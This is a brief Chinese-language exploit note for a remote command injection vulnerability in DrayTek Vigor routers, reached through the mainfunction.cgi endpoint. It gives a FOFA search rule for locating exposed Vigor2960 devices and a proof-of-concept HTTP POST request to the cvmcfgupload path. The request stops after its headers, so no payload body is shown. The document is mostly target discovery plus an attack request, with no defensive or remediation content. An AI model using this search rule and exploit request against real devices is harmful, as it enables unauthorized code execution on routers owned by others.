漏洞描述
DrayTek Vigor中存在一个远程命令注入漏洞,攻击者可利用该漏洞通过在mainfunction.cgi中包含格式错误的查询字符串的精心编制的HTTP消息,让远程恶意用户执行任意代码。
环境搭建
FOFA规则:banner=”Model: Vigor2960” || body=”src="V2960/excanvas.js”
漏洞复现
POC
POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 226
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Accept-Encoding: gzip